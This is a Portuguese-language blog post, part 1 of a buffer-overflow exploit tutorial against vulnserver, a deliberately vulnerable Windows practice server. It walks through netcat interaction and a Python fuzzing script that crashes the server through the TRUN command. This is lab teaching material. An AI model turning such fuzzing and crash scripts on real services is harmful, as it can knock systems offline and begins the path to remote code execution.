quinta-feira, 22 de janeiro de 2015

Buffer Overflow | Devenlop Exploit - Intro

Tomando  controle de programas vulneráveis a buffer overflow e desenvolvendo um exploit

INTRO
Uma falha de segurança comumente encontrada em software é a vulnerabilidade a buffer overflow.
Apesar de ser uma falha bem-conhecida e bastante séria, que se origina exclusivamente na incompetência do programador durante a implementação do programa, o erro repete-se sistematicamente a cada nova versão ou produto liberados.
Alguns programas já são famosos por freqüentemente apresentarem a falha, como o Sendmail, módulos do Apache, e boa parte dos produtos da Microsoft, incluindo obviamente o infame Internet Information Services (IIS). Mesmo software considerado seguro, como o OpenSSH, já apresentou o problema.

PROPÓSITO
Saber como explorar uma vulnerabilidade de buffer overflow (estouro de buffer) simples para ganhar a execução remota no Windows.

VAMOS ULTILIZAR ESSAS FERRAMENTAS;
--     Script básico em Python
--     Immunity Debugger
--     O plugin MONA para Immunity
--     Metasploit Framework
--     nasm_shell.rb

O que vamos usar;
--    Windows como ALVO
--    Kali Linux como Atacante

PREPARANDO O SERVIDOR VULNERÁVEL
Em sua máquina Windows, baixe o servidor para os testes. Link
Salve o arquivo "vulnserver.zip" em sua desktop, e extraia com um winrar ou unzip.  Agora execulte o vulnserver, quando o firewall chama, você desbloqueia, okay


Testando o servidor
Na máquina atacante, abra o terminal e execulte o comando:
Subistitua o IP  pelo endereço IP da sua máquina Windows

root@kali:~# nc 192.168.1.162 9999
Welcome to Vulnerable Server! Enter HELP for help.
||
"O cursor ira fica piscando aqui, aguardando um instrução" Digite HELP;

Você verá Varios comandos, Mais nenhum deles faz alguma coisa útil 

root@kali:~# nc 192.168.1.162 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

Este servidor tem muitas vulnerabilidades, mas o que vou usar agora é o comando TRUN.
Agora vamos digitar o comando TRUN .aaa, o Servidor respondera "TRUN
COMPLETE", Depois execulte o comando "EXIT" para fechar a conexão.

root@kali:~# nc 192.168.1.162 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
TRUN .aaa
TRUN COMPLETE
EXIT
GOODBYE
root@kali:~#

Fuzzing o Servidor
Agora vamos iniciar a criação dos scripts, no terminal do kali digite:

root@kali:~# nano fuzz
E cole esse codigo:

#!/usr/bin/python
import socket
server = '192.168.1.162' #Subistitua o IP  pelo endereço IP da sua máquina Windows
sport = 9999

length = int(raw_input('Length of attack: '))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack length ", length, ' to TRUN .'
attack = 'A' * length
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
GNU nano 2.2.6                                                               File: fuzz                                                                Modified  

#!/usr/bin/python
import socket
server = '192.168.1.162' #Subistitua o IP  pelo endereço IP da sua máquina Windows
sport = 9999

length = int(raw_input('Length of attack: '))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack length ", length, ' to TRUN .'
attack = 'A' * length
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...

Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Agora vamos execultar o Script, comando:

root@kali:~# python fuzz

Em "Length of Attack" insira 100 bytes e pressione Enter,

O servidor responde  "TRUN COMPLETE"

root@kali:~# python fuzz
Length of attack: 100
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack length  100  to TRUN .
TRUN COMPLETE

GOODBYE

root@kali:~#

Execute o script mais uma vez, mas desta vez insisra  um comprimento de 9000.
Não há nenhuma resposta, tal como mostrado abaixo.

root@kali:~# python fuzz
Length of attack: 9000
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack length  9000  to TRUN

Olhando para o windows, vemos que o servidor parou de responder


Reiniciando o servidor vulnerável

No seu Windows, feche o "vulnserver.exe que parou de funcionar"
Clique duas vezes em vulnserver para iniciar o servidor novamente.
Tente outros comprimentos. Você verá que ele trava em 2000 e 3000.
Cada vez deixa de funcionar, reinicie o servidor.

Instalando o Immunity Debugger

Parte 2 aqui






















0 comentários:

Postar um comentário